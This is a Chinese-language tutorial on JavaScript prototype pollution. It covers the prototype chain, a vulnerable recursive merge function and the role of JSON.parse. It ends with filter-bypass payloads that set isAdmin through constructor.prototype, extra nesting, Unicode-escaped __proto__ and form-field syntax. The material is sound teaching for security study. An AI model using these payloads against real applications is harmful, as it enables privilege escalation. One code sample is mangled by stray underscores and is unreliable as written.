Js 原型链污染

原型与原型链

要理解原型的概念,首先要理解 js 这门语言。JavaScript 是一门基于“对象”而非“类”的语言,它的很多特性都是围绕对象展开的。这可能会导致一个理解误区,因为在基于类的语言中我们认为的对象是一个由类创建出来的实例,通常形状是固定的(即对象的属性由类决定)。但是在 js 中,对象是动态的,它能够在运行中随意增改属性。

正因这种动态机制,js 设计出了一套“对象继承对象”的思维方法。你可以通过已有的对象来创建新的对象

const animal = {
  eat() {
    console.log('eat')
  }
}

const dog = Object.create(animal)
dog.bark = function () {
  console.log('wang')
}

这个被基于的对象就是新对象的原型,此时原型的属性并不会被拷贝到新对象中,但是新对象访问对应属性时,在自身没有同名属性的情况下,js 会通过原型往上尝试搜索,通过这种方式来“继承”到原型的属性。js 的继承本质更像是一种委托机制,即将自己无法处理的请求委托给上级

const proto = { site: 'test' }
const obj = Object.create(proto) // 以proto为原型创建对象

console.log(obj.site) // test
console.log(obj.hasOwnProperty('site')) // false

这个例子中, obj 本身没有 site,但它仍然可以读到 site,因为它会继续去自己的原型 proto 上找。这里的 hasOwnProperty 用来判断属性是不是对象自身的属性,返回 false 说明这个值没有被 obj 得到,而是从原型上找到的

函数也是可以被继承的

const animal = {
  eat() {
    console.log(this.name + ' eat')
  }
}

const dog = Object.create(animal)
dog.name = 'dog'

dog.eat()
// dog eat

这个例子中可以看到,dog 从原型 animal 中找到 eat 方法,但是 name 还是 dog 自己的 name,这说明函数被找到后,虽然定义在原型上,但还是由对象自己执行的

__proto__ 是对象的原型指针,用于观察对象的原型

事实上,在 js 中函数也是对象的一种特殊形式,它可以被赋值给变量、作为参数和拥有属性。通过这种特殊的机制,js 自然而然地把“构造器”和“对象系统”糅合在了一起

function Person(name) {
  this.name = name
}

Person.prototype.sayHi = function () {
  console.log('Hi, ' + this.name)
}

const p = new Person('Alice')

在这个例子中,Person 是一个函数,同时也是一个构造函数。函数可以用 prototype 属性去访问原型,此时函数的原型实际上指的是函数作为构造函数时,创建出的实例对象的原型

function Person() {}
const p = new Person()

console.log(p.__proto__ === Person.prototype) // true

容易理解,Person.prototype 是一个对象。

由于函数是一个对象,实际上它也有 __proto__ 指针,一般指向的是 Function.prototype

Person.__proto__ === Function.prototype

默认情况下,函数的 prototype 上会有一个属性叫 constructor:

function Person() {}

console.log(Person.prototype.constructor === Person) // true

它可以理解为原型对象的回指,表示这个原型对象原本是由哪个构造函数配套产生的

现在我们知道:prototype 是函数的属性,__proto__ 是对象指向的原型的指针, constructor 是原型对象的属性。

function User(name) {
  this.name = name
}

const user = new User('tom')

console.log(user.__proto__ === User.prototype) // true
console.log(User.prototype.__proto__ === Object.prototype) // true
console.log(Object.prototype.__proto__) // null

在这个例子中,存在一条继承关系

user <-
User.prototype (user.__proto__)<-
Object.prototype  (User.prototype.__proto__)<-
null (Object.prototype.__proto__)

这就是原型链。查找一个属性时,解释器先看对象自身,再看对象的原型,再看原型的原型,最后到 Object.prototype,再往上就是 null。只要链上的某一层存在这个属性,查找就会停止。

联系前面的知识点不难理解,Object 是一个函数,而 Object.prototype 是一个对象。事实也确实如此,它们是 js 内置的函数和对象。对于普通对象,在不指定原型时,创建出来的对象的原型就是 Object.prototype

原型链污染的基础就在这里。很多对象最终都会连到 Object.prototype。如果某次写入把属性挂到了公共原型上,那么后面创建的普通对象也会读到这个属性。

Object.prototype.isAdmin = true

const a = {}
const b = { name: 'tom' }

console.log(a.isAdmin) // true
console.log(b.isAdmin) // true

这里 a 和 b 本身都没有 isAdmin,但它们都会从 Object.prototype 上读到这个值。原型链污染就是把本来只该写入普通对象的数据,写进了共享原型。

merge 函数与 JSON.prase

merge 函数是常见的原型链污染的触发点。作用是把一个对象的内容合并到另一个对象里。浅合并只处理当前这一层,深合并会继续处理子对象,所以常见实现里都会出现递归。

function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

这个过程并不复杂。for...in 负责遍历源对象的键。当前值还是对象时,函数不会直接覆盖,而是继续递归处理下一层。当前值不是对象时,函数直接执行赋值。

问题出在 target[key] 这一步。这里的 key 是动态的且没做校验,代码默认它只是普通属性名,所以会直接向下取值,再把递归的目标切换到下一层对象。

如果这个键落到原型相关路径上,递归的目标就不再是普通子对象。__proto__ 会把访问位置切到对象原型,constructor 会把访问位置切到构造函数,prototype 会把访问位置切到构造函数原型。后续递归仍然按普通对象处理,但实际已经走进了原型链。

这样一来,最后一层的 target[key] = source[key] 看起来只是一次普通赋值,实际写到的却可能是共享原型。函数本身没有污染语义,危险点在于它允许用户控制递归路径,并且没有区分普通路径和原型路径。

看起来好像已经走通了原型链污染了,但是真的如此吗

let o1 = {}
let o2 = {a:1, "__proto__":{b:2}}
merge(o1,o2)
console.log(o1.a,o1.b)//1 2
o3 = {}
console.log(o3.b)//undefined

我们发现,对 o1 似乎污染成功,但是新创建的 o3 却没有对应属性,说明原型上的属性并没有被污染

调试发现,merge 实际上没有取到 __proto__ 这个键,而是直接取到了 b。这是由于我们在定义 o2 时就指定了 __proto__,它实际上会导致 o2 的原型变为 {b:2},同时 __proto__ 不是一个可枚举属性,因此 key 只会取到 a b,也就是 __proto__ 键提前触发了。

要解决这个问题,我们需要让 __proto__ 作为一个真正的键名,而不能仅代表当前对象的原型。JSON.prase() 就可以做到这一点

let _o1 _= {}
let _o2 _= _JSON_.parse('{"a":1, "__proto__":{"b":2}}')
merge(_o1_,_o2_)
_console_.log(_o1_.a,_o1_.b)//1 2
o3 = {}
_console_.log(o3.b)//2

可以看到,key 正常取到了 __proto__

这是因为 json 中并不会对 __proto__ 做特殊处理,而是当成一个普通的自有属性。这种处理差异导致了漏洞的发生

过滤与绕过

过滤 __proto__

前面提到

function Person() {}
const p = new Person()

Person.prototype.constructor === Person //true

而我们的目标是获取原型,也就是 p.__proto__。根据 p.__proto__ === Person.prototype,容易构造

Person.prototype.constructor.prototype === Person.prototype
p.__proto__.constructor.prototype === p.__proto__

我们知道,constructor 是原型对象的属性,也就是说 p 作为非原型对象是没有这个属性的,此时访问 p.constructor 就会从原型链向上搜索,拿到 p.__proto__.constructor,因此有

p.constructor.prototype === p.__proto__

这样我们就避免通过__proto__拿到了 p 对象的原型

{"constructor":{"prototype":{"isAdmin":1}}}
?constructor[prototype][isAdmin]=1

过滤顶层键

merge 函数做递归解析,只需要多嵌套一层无害属性即可

{"a":{"constructor":{"prototype":{"isAdmin":1}}}}
{"a":{"__proto__":{"isAdmin":1}}}

过滤键名关键字

使用 Unicode 转义

{"\u005f\u005fproto\u005f\u005f":{"isAdmin":1}}

表单绕过

表单字段一般也可以保留键名,如果存在表单的解析也会造成污染

__proto__[isAdmin]=1
constructor[prototype][isAdmin]=1